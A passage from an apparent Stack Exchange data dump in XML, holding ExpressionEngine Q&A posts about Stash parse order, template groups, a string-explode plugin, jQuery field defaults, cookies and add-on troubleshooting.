limit=&quot;1&quot;}&#xA;    {exp:stash:set name=&quot;team_member_category&quot;}{category_name}{/exp:stash:set}&#xA;{/categories}&#xA;{exp:stash:set name=&quot;team_member_biog&quot;}{member_biography}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;team_member_firstname&quot;}{member_firstname}{/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:stash:set_list name=&quot;jobs&quot; parse_tags=&quot;yes&quot;}&#xA;{exp:channel:entries channel=&quot;job&quot; status=&quot;not closed&quot; dynamic=&quot;no&quot; author_id=&quot;{exp:stash:get name=&quot;team_member_id&quot;}&quot;}&#xA;    {stash:job_title}{title}{/stash:job_title}&#xA;{/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:set name=&quot;content&quot;}&#xA;&amp;lt;div class=&quot;main&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;banner&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;h2 class=&quot;bb&quot;&amp;gt;Banner Title&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;div&amp;gt;&#xA;            &amp;lt;p&amp;gt;Banner Copy&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;g2&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;item single team&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;{exp:stash:get name=&quot;team_member_category&quot;}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;item single&quot;&amp;gt;&#xA;        {exp:stash:get name=&quot;team_member_photo&quot;}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;jobs double team&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;{exp:stash:get name=&quot;team_member_firstname&quot;}'s Jobs&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;        {exp:stash:get_list name=&quot;jobs&quot;}&#xA;            &amp;lt;li&amp;gt;{job_title}&amp;lt;/li&amp;gt;&#xA;        {/exp:stash:get_list}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;biog quad&quot;&amp;gt;&#xA;        {exp:stash:get name=&quot;team_member_biog&quot;}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: Updated code adding gets and sets to stash tags to make more readable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2: Thanks to Jérôme for the solution, it's a combination of his suggestions. Here is the new working code for reference (the content section was unchanged, so is not included here):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;{exp:channel:entries status=&quot;not closed&quot;}&#xA;{exp:zoo_visitor:details member_entry_id=&quot;{entry_id}&quot;}&#xA;    {stash:team_member_id}{visitor:member_id}{/stash:team_member_id}&#xA;{/exp:zoo_visitor:details}&#xA;{stash:title}{title}{/stash:title}&#xA;{stash:h1}{title}{/stash:h1}&#xA;{stash:team_member_photo}{member_staff_photo}&amp;lt;img src=&quot;{url}&quot; alt=&quot;{title}&quot; title=&quot;{title}&quot; /&amp;gt;{/member_staff_photo}{/stash:team_member_photo}&#xA;{categories limit=&quot;1&quot;}&#xA;    {stash:team_member_category}{category_name}{/stash:team_member_category}&#xA;{/categories}&#xA;{stash:team_member_biog}{member_biography}{/stash:team_member_biog}&#xA;{stash:team_member_firstname}{member_firstname}{/stash:team_member_firstname}&#xA;{/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&#xA;{exp:stash:set_list name=&quot;jobs&quot; parse_tags=&quot;yes&quot;}&#xA;{exp:channel:entries parse=&quot;inward&quot; channel=&quot;job&quot; status=&quot;not closed&quot; dynamic=&quot;no&quot; author_id=&quot;{exp:stash:team_member_id}&quot;}&#xA;    {stash:job_title}{title}{/stash:job_title}&#xA;{/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-02-20T06:50:59.253" Title="Using Stash to get related lists" Tags="|templates|stash|zoo-visitor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6515" PostTypeId="1" CreationDate="2013-02-19T11:52:49.030" Score="1" ViewCount="329" Body="&lt;p&gt;Please let me know if I'm doing this correctly. I've created a new EE website with a template group called &lt;code&gt;about_us&lt;/code&gt;, which has an &lt;code&gt;index&lt;/code&gt; template - just the way I want it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I also have another template group called &lt;code&gt;resources&lt;/code&gt;, in which I intend to place things like CSS Templates and Javascript Templates. As such, I don't want an &lt;code&gt;index&lt;/code&gt; HTML template in this group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There doesn't seem to be a button to delete an &lt;code&gt;index&lt;/code&gt; template. Is this possible, or am I approaching this the wrong way?&lt;/p&gt;&#xA;" OwnerUserId="742" LastActivityDate="2013-02-19T13:07:44.653" Title="How do I remove an 'index' template from a Template Group?" Tags="|templates|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6516" PostTypeId="2" ParentId="6515" CreationDate="2013-02-19T12:11:28.623" Score="7" Body="&lt;p&gt;You can't have a template group without an index template, but you don't have to use it. You could either set the preferences for the template in the CP to have it inaccessible to guests or simply place &lt;code&gt;{if segment_2==&quot;&quot;}{redirect=&quot;whatever&quot;}{/if}&lt;/code&gt; in it to prevent access to the template directly.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-02-19T12:11:28.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6518" PostTypeId="2" ParentId="6514" CreationDate="2013-02-19T12:19:06.270" Score="2" Body="&lt;p&gt;You don't appear to have any &lt;code&gt;{exp:stash:set}&lt;/code&gt; or &lt;code&gt;{exp:stash:get}&lt;/code&gt; tags in your template. You can only do &lt;code&gt;{stash:variable_name}&lt;/code&gt; inside a &lt;code&gt;{exp:stash:set}&lt;/code&gt; or &lt;code&gt;{exp:stash:set_list}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-02-19T12:19:06.270" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6519" PostTypeId="2" ParentId="6506" CreationDate="2013-02-19T12:23:13.813" Score="0" Body="&lt;p&gt;Not sure if this will work, only guessing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['mimes'] = array(&#xA;    'kml' =&amp;gt; 'whatever'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-02-19T12:23:13.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6520" PostTypeId="2" ParentId="6515" CreationDate="2013-02-19T13:07:44.653" Score="5" Body="&lt;p&gt;There seem to be two different questions here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Where do you store &quot;assets&quot; like CSS or JS files in an EE install?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I store them out of EE and access them using either a path relative to root or using the {site_url} variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;screen&quot; href=&quot;{site_url}/assets/css/screen.css&quot; /&amp;gt;&#xA;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;screen&quot; href=&quot;/assets/css/screen.css&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Storing those assets externally means that they won't have to be parsed by EE and thus will not take resources. Reusable chunks (for lack of a better word) of your site will be stored in Global Variables (or Low Variables), Snippets or Embedded templates depending on what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can you make whole template groups inaccessible or remove index file from template groups if you do not use them?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tyssen gave you a good answer there: template preferences or using 404 or other redirects based on segments.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-02-19T13:07:44.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6522" PostTypeId="1" CreationDate="2013-02-19T14:24:48.210" Score="2" ViewCount="206" Body="&lt;p&gt;I've created an order-based store using ... Store! Recently my client asked if certain orders could be send to a different email-adress based on which member-category (using IntoEEtive's Member Categories) the customer belonged to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a hidden input-field on the check-out-page, with an email dynamically inserted based on the member's category. Can I use that value in any way to send confirmation-emails? When I tried to enter {order_custom1} in the BBC-field I got an error (of course...). &lt;/p&gt;&#xA;" OwnerUserId="530" LastActivityDate="2013-02-19T22:56:45.803" Title="Send order-confirmation to different emails in Expresso-Store" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6523" PostTypeId="2" ParentId="6514" CreationDate="2013-02-19T15:23:17.860" Score="3" Body="&lt;p&gt;I think this is indeed a parse order problem. IMHO {exp:stash:team_member_id} is not set yet when you call it. You can track it down if you read the template debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like the problem is that when you set team_member_id, you are in a channel entries loop, when you try to get it you are outside. Two different layer of the (now) proverbial oignon here, I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; is needed in your channel entries tag so things are parsed in the right order&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Proposed solution 1: use process=&quot;end&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: That one didn't work, because it does not solve the fact that the set is inside EE tags, while the get is outside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also delay the parsing of that part of the template using {exp:stash:parse process=&quot;end&quot;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse process=&quot;end&quot;}&#xA;    {exp:stash:set_list name=&quot;jobs&quot; parse_tags=&quot;yes&quot;}&#xA;        {exp:channel:entries parse=&quot;inward&quot; channel=&quot;job&quot; status=&quot;not closed&quot; dynamic=&quot;no&quot; author_id=&quot;{exp:stash:team_member_id}&quot;}&#xA;            {stash:job_title}{title}{/stash:job_title}&#xA;        {/exp:channel:entries}&#xA;    {/exp:stash:set_list}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I always find those difficult to debug. The way I go about these is to break them down to simple components and test them one by one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;proposed solution 2: wrapping the first entries loop in a big stash set&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Putting all EE tags in the same &quot;oignon layer&quot; by wrapping the channel entries loop in one big stash set did the trick (see Steve's code above). Now everything is using the same structure in terms of layers:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;stash tags&lt;/li&gt;&#xA;&lt;li&gt;ee tags&lt;/li&gt;&#xA;&lt;li&gt;stash set / get&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;template organisation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as your template organisation goes, that's pretty much how I work as well. I tend to use get and set, though. Its clearer to me when I read code down the line.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-02-20T06:50:59.253" LastActivityDate="2013-02-20T06:50:59.253" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6525" PostTypeId="2" ParentId="6485" CreationDate="2013-02-19T15:32:41.443" Score="2" Body="&lt;p&gt;I couldn't work out how to make PHP work, but I did realise that I could use almost EE tag in the email - so I wrote a new plugin that would expose the PHP explode function to the template via a tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've submitted the plugin to Devot-ee &lt;a href=&quot;http://devot-ee.com/add-ons/string-explode-tag&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/string-explode-tag&lt;/a&gt; but the code is below as well!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;&#xA;/**&#xA; * String Explode Tag Class&#xA; *&#xA; * @package     ExpressionEngine&#xA; * @category    Plugin&#xA; * @author      Tom Burr&#xA; * @copyright   Copyright (c) 2013, Turned Out Nice Again&#xA; * @link        http://niceagain.co.uk&#xA; */&#xA;&#xA;$plugin_info = array(&#xA;    'pi_name'           =&amp;gt; 'Explode String Exp',&#xA;    'pi_version'        =&amp;gt; '1.0',&#xA;'pi_author'         =&amp;gt; 'Tom Burr',&#xA;'pi_author_url'     =&amp;gt; 'http://niceagain.co.uk/',&#xA;'pi_description'    =&amp;gt; 'Tag for PHP explode() function.',&#xA;'pi_usage'          =&amp;gt;  StrExplode::usage()&#xA;);&#xA;&#xA;class StrExplode&#xA;{&#xA;&#xA;public $return_data = &quot;&quot;;&#xA;&#xA;// --------------------------------------------------------------------&#xA;&#xA;/**&#xA; * Str Explode creator&#xA; *&#xA; * This function explodes a string into an array and returns the designated index value&#xA; *&#xA; * @access  public&#xA; * @return  string&#xA; */&#xA;public function __construct()&#xA;{&#xA;    $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    $this-&amp;gt;return_data = &quot;&quot;;&#xA;&#xA;    $string = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('string', '');&#xA;    $delimiter = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('delimiter', '');&#xA;    $index  = intval($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('index', &quot;0&quot;));&#xA;&#xA;    //Output transformed string&#xA;    $tempArray = explode($delimiter, $string);&#xA;    if(count($tempArray) - 1 &amp;lt; $index)&#xA;    {&#xA;        $this-&amp;gt;return_data = $tempArray[count($tempArray) - 1];&#xA;    }&#xA;    else&#xA;    {&#xA;        $this-&amp;gt;return_data = $tempArray[$index];&#xA;    }&#xA;}&#xA;&#xA;// --------------------------------------------------------------------&#xA;&#xA;/**&#xA; * Usage&#xA; *&#xA; * This function describes how the plugin is used.&#xA; *&#xA; * @access  public&#xA; * @return  string&#xA; */&#xA;public static function usage()&#xA;{&#xA;    ob_start(); &#xA;    ?&amp;gt;&#xA;&#xA;    Sometimes you need to use PHP functions but don't want to&#xA;    enable PHP in the template. This plugin allows you to use &#xA;    the PHP explode function in an EE tag passing the&#xA;    delimiter, array index, and string to search as parameters. &#xA;&#xA;    With this plugin you can pass EE variables to the tag &#xA;    which will process them and return the index value from the array.&#xA;&#xA;    This example returns the string 'value2';&#xA;&#xA;    {exp:strexplode delimiter=&quot;|&quot; index=&quot;1&quot; string=&quot;value1|value2&quot; }&#xA;&#xA;    ------&#xA;&#xA;    Thanks to Christopher Reding's ( http://christopherreding.com/ ) &quot;Tag for PHP str_replace() function&quot; for the inspiration for this plugin.&#xA;&#xA;    &amp;lt;?php&#xA;    $buffer = ob_get_contents();&#xA;&#xA;    ob_end_clean(); &#xA;&#xA;    return $buffer;&#xA;}&#xA;&#xA;}&#xA;/* End of file pi.strexplode.php */ &#xA;/* Location: ./system/expressionengine/third_party/strexplode/pi.strexplode.php */ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This can then be called in the email (or any) template using the tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:strexplode index=&quot;0&quot; string=&quot;{order_status_message}&quot; delimiter=&quot;|&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="785" LastEditorUserId="785" LastEditDate="2013-02-22T12:31:10.580" LastActivityDate="2013-02-22T12:31:10.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6526" PostTypeId="2" ParentId="6464" CreationDate="2013-02-19T15:45:50.723" Score="1" Body="&lt;p&gt;You should use the &lt;code&gt;cartthrob_on_authorize&lt;/code&gt; hook. From there you can find the entry ID's of the saved purchased items entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$entry_ids = $this-&amp;gt;EE-&amp;gt;cartthrob-&amp;gt;cart-&amp;gt;order('purchased_items');&#xA;&#xA;foreach ($entry_ids as $entry_id)&#xA;{&#xA;    //do some more processing here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-02-19T15:45:50.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6528" PostTypeId="2" ParentId="6513" CreationDate="2013-02-19T17:02:03.113" Score="2" Body="&lt;p&gt;You are looking for the &lt;code&gt;{order_discount}&lt;/code&gt; variable which is avilable in the cart, checkout, and orders tags.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="150" LastEditDate="2013-02-20T10:00:49.347" LastActivityDate="2013-02-20T10:00:49.347" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6529" PostTypeId="1" AcceptedAnswerId="6532" CreationDate="2013-02-19T17:07:19.247" Score="5" ViewCount="2215" Body="&lt;p&gt;I have a number of text input fields in an event registration channel that I would like to be pre-poulated with defaults and so not require entering anything unless it's different.&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1548/pre-fill-matrix-field-when-creating-new-entry/1551&quot;&gt;This thread gives the javascript to add in the instructions box for Matrix fields&lt;/a&gt;, but I want it for a single Text input field and my javascript is rubbish.&lt;/p&gt;&#xA;" OwnerUserId="483" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-02-19T20:24:43.137" Title="Pre populate a text input field" Tags="|custom-fields|pre-populate|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6530" PostTypeId="2" ParentId="6468" CreationDate="2013-02-19T17:14:07.967" Score="0" Body="&lt;p&gt;Try a conditional like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if next_page}&#xA;    CODE&#xA;{if:else}&#xA;    CODE&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, you'd need to hack the \system\expressionengine\libraries\EE_Pagination.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or take a look at some of the pagination addons on &lt;a href=&quot;http://devot-ee.com/search/results?keywords=pagination&amp;amp;collection=addons&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Devot-EE&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-19T17:14:07.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6531" PostTypeId="2" ParentId="6494" CreationDate="2013-02-19T17:17:14.637" Score="0" Body="&lt;p&gt;Thanks Brandon for the relpy. I couldn't get this to work in Matrix without returning a PHP error but was able to achieve the desired effect by using the native ExpressionEngine query module, eg&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT * FROM exp_matrix_data WHERE col_id_7 != '' &amp;amp;&amp;amp; entry_id = '{entry_id}'&quot;}&#xA;  {if no_results}&#xA;    {embed='embeds/footer-tiles' total_rows='0'}&#xA;  {/if}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If trying something similar you might need to run in an embedded template so as not to cause a conflicted {no_results} result!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps somebody else!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cole&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2013-02-19T17:17:14.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6532" PostTypeId="2" ParentId="6529" CreationDate="2013-02-19T17:47:56.997" Score="6" Body="&lt;p&gt;Since Field Instructions will allow HTML and JS, you can add the following in the Field Instructions for that custom field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(document).ready(function() {&#xA;        if ($('#field_id_23').is(':empty')) {&#xA;            $('#field_id_23').val('This is the default text');&#xA;        }&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just be sure to change &lt;code&gt;field_id_23&lt;/code&gt; to the correct field_id in your instance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Important note:&lt;/strong&gt; If you are entering this snippet in a custom field's Field Instructions make sure it does not use space characters for the indentation. If you copy and paste directly from here it will and they will be encoded to &lt;code&gt;&amp;amp;nbsp;&lt;/code&gt; which will break the JS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative to using Field Instructions to hold your JavaScript, &lt;a href=&quot;http://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow&quot;&gt;CP CSS &amp;amp; JS&lt;/a&gt; is useful for adding snippets of JS to the Control Panel.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note that the above jQuery assumes you would never want to leave the text input blank. If that isn't the case, you'll want to incorporate a check that this is a &lt;em&gt;new&lt;/em&gt; entry instead of relying on the &lt;code&gt;.is(':empty')&lt;/code&gt; conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(document).ready(function() {&#xA;        if ($('input[name=&quot;entry_id&quot;]').val() == '0') {&#xA;            $('#field_id_23').val('This is the default text');&#xA;        }&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-02-19T20:24:43.137" LastActivityDate="2013-02-19T20:24:43.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6533" PostTypeId="2" ParentId="6499" CreationDate="2013-02-19T18:57:46.753" Score="0" Body="&lt;p&gt;Your easiest route here will be to use &lt;a href=&quot;http://devot-ee.com/add-ons/title-master&quot; rel=&quot;nofollow&quot;&gt;Title Master&lt;/a&gt;. It can automatically populate the title field with Playa fields, and has the bonus of working with both Safecracker and in the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just configure the module for your Videos channel and you're done. (You may have to pass a dummy title to Safecracker via a hidden input so it[asses initial validation.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-19T18:57:46.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6534" PostTypeId="2" ParentId="6480" CreationDate="2013-02-19T19:05:09.163" Score="3" Body="&lt;p&gt;There is no currently-available add-on for this ... so many variables involved with EE's flexibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO, a javascript-based solution - like &lt;a href=&quot;http://masonry.desandro.com&quot; rel=&quot;nofollow&quot;&gt;Masonry&lt;/a&gt; - would make much more sense, especially in the age of responsive design and fluid layouts. This &quot;magazine&quot; approach only makes sense for fixed-width viewports.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-19T19:05:09.163" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6535" PostTypeId="2" ParentId="6264" CreationDate="2013-02-19T19:06:58.197" Score="0" Body="&lt;p&gt;There is no solution to this currently. The best route to optimization is what you're doing already. Carry-on!&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-19T19:06:58.197" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6536" PostTypeId="2" ParentId="6334" CreationDate="2013-02-19T19:51:08.760" Score="1" Body="&lt;p&gt;Sandwich, I'm no expert here either, but looked over your problem to see if I could learn something. Here's what I could suggest.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I think the basis is that cookie domain setting in EE is for the purpose of defining what domain sent cookies will be assigned to - but it isn't about whether to send cookies. Sending cookies is presumed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I thought of working with the cookie consent module, which does allow restricting cookie sending. However, this is a (recent) EE2 addition, so it's not going to help on an EE1 site.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why you want to restrict cookies on resources, but maybe you could segregate those static resources further, and only put on the subdomain things that are truly static. Even a css file as in your example can be so, of course, and you could just copy-paste from a css template if you develop there. Then you wouldn't invoke EE at all on the subdomain -- by not putting an index.php there, and by the way you address the resources in your templates or other html. Then there would be no cookies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the question is actually to do with EU cookie restrictions, then I think you'd need to update to latest EE2 to gain best use of the new module. Reference &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/cookie_consent/index.html&quot; rel=&quot;nofollow&quot;&gt;Cookie Consent&lt;/a&gt;, and be sure to notice the comment at bottom which says where to get the module at present.&lt;/p&gt;&#xA;" OwnerUserId="103" LastActivityDate="2013-02-19T19:51:08.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6537" PostTypeId="1" AcceptedAnswerId="6545" CreationDate="2013-02-19T20:26:43.560" Score="1" ViewCount="55" Body="&lt;p&gt;I have a simple search form that I would like to submit a status dynamically, is there any way to do this, right now I am using javascript to submit the form and depending on what status options are toggled i would like to limit the status fields it searches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I cannot change the available status's on submission, can I restrict the status on the results page something like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:search_results status=&quot;closed|draft&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can always use the template to not display status's on the results page, but I would prefer not to loop over 10 status's for every result.&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2013-02-20T02:38:06.713" Title="Simple Search provide Status Dynamically" Tags="|status|simple-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6538" PostTypeId="1" AcceptedAnswerId="7035" CreationDate="2013-02-19T20:35:41.360" Score="2" ViewCount="581" Body="&lt;p&gt;Running EE v2.5.5 and FreeMember 2.1.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the following code to log out a user:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{exp:freemember:logout_url return=&quot;dashboard/register&quot;}&quot;&amp;gt;logout&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;clicking the link takes me to EE's system message page with the following message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;You are not authorized to perform the following action&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;am I implementing this wrong or is there a bug perhaps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are links to my templates&lt;/p&gt;&#xA;&#xA;&lt;p&gt;logging out from here: &lt;a href=&quot;http://pastie.org/6317009&quot; rel=&quot;nofollow&quot;&gt;http://pastie.org/6317009&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any page I use for the return param creates the same error &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="336" LastEditorUserId="336" LastEditDate="2013-02-22T15:31:05.037" LastActivityDate="2014-02-10T05:08:38.853" Title="freemember logout error" Tags="|freemember|" AnswerCount="2" CommentCount="8" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6539" PostTypeId="1" AcceptedAnswerId="6547" CreationDate="2013-02-19T20:54:00.870" Score="5" ViewCount="1355" Body="&lt;p&gt;Trying to figure out what appears to be a global variable parse issue in a module add-on template tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a sample of the tag used in the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:syn_fb_comments:show url=&quot;{current_url}&quot;}{fb_comments}{/exp:syn_fb_comments:show}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In the module, when I grab the param &lt;code&gt;url&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param( 'url' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My understanding is that the &lt;code&gt;{current_url}&lt;/code&gt; tag should already be parsed as the actual URL. However, in fetching the parameter value, it returns the raw tag itself, 